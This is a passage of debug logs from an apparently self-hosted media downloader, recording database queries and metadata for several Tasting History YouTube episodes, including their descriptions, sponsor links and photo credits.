https://www.tastinghistory.com/recipes/teslasduck\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", 1713, false, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].mp4", false, 3, ~U[2026-02-24 16:00:34Z]] 02:53:00.992 [debug] QUERY OK source="sources" db=0.1ms idle=10.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:00.992 [debug] QUERY OK source="media_profiles" db=0.1ms idle=10.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:00.992 [debug] QUERY OK source="media_items" db=0.2ms idle=10.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9882] 02:53:00.993 [debug] Current batch of media processed. Will check again in 1000ms 02:53:01.993 [debug] Current batch of media processed. Will check again in 1000ms 02:53:02.994 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: https://youtu.be/QQsRHNHA9Ow?si=Tqo4Utahzo9waWac\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethwiscombe/1071477228/in/photostream/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=13278936\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=64012582 \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=179066884\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=18323006\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=98707662\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=62837662\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=144018403\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/20130119123425/http://www.armadale.org.uk/cairnpapple.htm, CC BY 3.0, https://commons.wikimedia.org/w/index.php?curid=22909135\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48577\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=73498\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48554746\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=151586152\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=18502199\n\n#tastinghistory", "duration" => 1335, "filename" => "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].mp4", "id" => "i3L1g62Sy58", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=i3L1g62Sy58", "playlist_index" => 7, "timestamp" => 1771344065, "title" => "What Did the Builders of Stonehenge Eat?", "upload_date" => "20260217"} 02:53:02.995 [debug] QUERY OK source="sources" db=0.1ms idle=467.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:02.995 [debug] QUERY OK source="sources" db=0.2ms idle=467.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:02.997 [debug] QUERY OK source="media_items" db=1.2ms idle=468.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 16:01:05Z], 3] 02:53:02.999 [debug] QUERY OK source="media_items" db=1.7ms idle=469.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: https://youtu.be/QQsRHNHA9Ow?si=Tqo4Utahzo9waWac\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethwiscombe/1071477228/in/photostream/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=13278936\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=64012582 \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=179066884\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=18323006\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=98707662\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=62837662\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=144018403\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/20130119123425/http://www.armadale.org.uk/cairnpapple.htm, CC BY 3.0, https://commons.wikimedia.org/w/index.php?curid=22909135\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48577\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=73498\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48554746\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=151586152\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=18502199\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "ff891dda-043e-4b37-9ce1-7c55f0f1ec64", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", false, 1335, false, 7, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].mp4", false, false, 3, [], 98, ~U[2026-02-17 16:01:05Z], ~U[2026-04-01 06:53:02Z], ~U[2026-04-01 06:53:02Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: https://youtu.be/QQsRHNHA9Ow?si=Tqo4Utahzo9waWac\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethwiscombe/1071477228/in/photostream/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=13278936\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=64012582 \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=179066884\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=18323006\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=98707662\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=62837662\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=144018403\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/20130119123425/http://www.armadale.org.uk/cairnpapple.htm, CC BY 3.0, https://commons.wikimedia.org/w/index.php?curid=22909135\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48577\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=73498\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48554746\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=151586152\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=18502199\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", 1335, false, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].mp4", false, 3, ~U[2026-02-17 16:01:05Z]] 02:53:02.999 [debug] QUERY OK source="sources" db=0.1ms idle=34.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:03.000 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:03.000 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9353] 02:53:03.000 [debug] Current batch of media processed. Will check again in 1000ms 02:53:04.001 [debug] Current batch of media processed. Will check again in 1000ms 02:53:05.002 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/gumbo\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index.php?curid=40766980\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=20903977\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=71262709\n\n#tastinghistory #gumbo", "duration" => 1576, "filename" => "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].mp4", "id" => "99yi0FRF4uM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=99yi0FRF4uM", "playlist_index" => 8, "timestamp" => 1770739214, "title" => "The History of Gumbo in New Orleans", "upload_date" => "20260210"} 02:53:05.003 [debug] QUERY OK source="sources" db=0.2ms idle=475.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:05.003 [debug] QUERY OK source="sources" db=0.1ms idle=475.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:05.005 [debug] QUERY OK source="media_items" db=1.4ms idle=475.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-10 16:00:14Z], 3] 02:53:05.006 [debug] QUERY OK source="media_items" db=1.1ms idle=477.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/gumbo\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index.php?curid=40766980\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=20903977\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=71262709\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "037ffc34-08e9-480f-a181-26d65f8d1616", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", false, 1576, false, 8, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].mp4", false, false, 3, [], 98, ~U[2026-02-10 16:00:14Z], ~U[2026-04-01 06:53:05Z], ~U[2026-04-01 06:53:05Z], "Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/gumbo\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index.php?curid=40766980\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=20903977\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=71262709\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", 1576, false, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].mp4", false, 3, ~U[2026-02-10 16:00:14Z]] 02:53:05.007 [debug] QUERY OK source="sources" db=0.2ms idle=39.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:05.007 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:05.007 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8815] 02:53:05.007 [debug] Current batch of media processed. Will check again in 1000ms 02:53:06.008 [debug] Current batch of media processed. Will check again in 1000ms 02:53:12.010 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastinghistory\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "duration" => 1276, "filename" => "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front 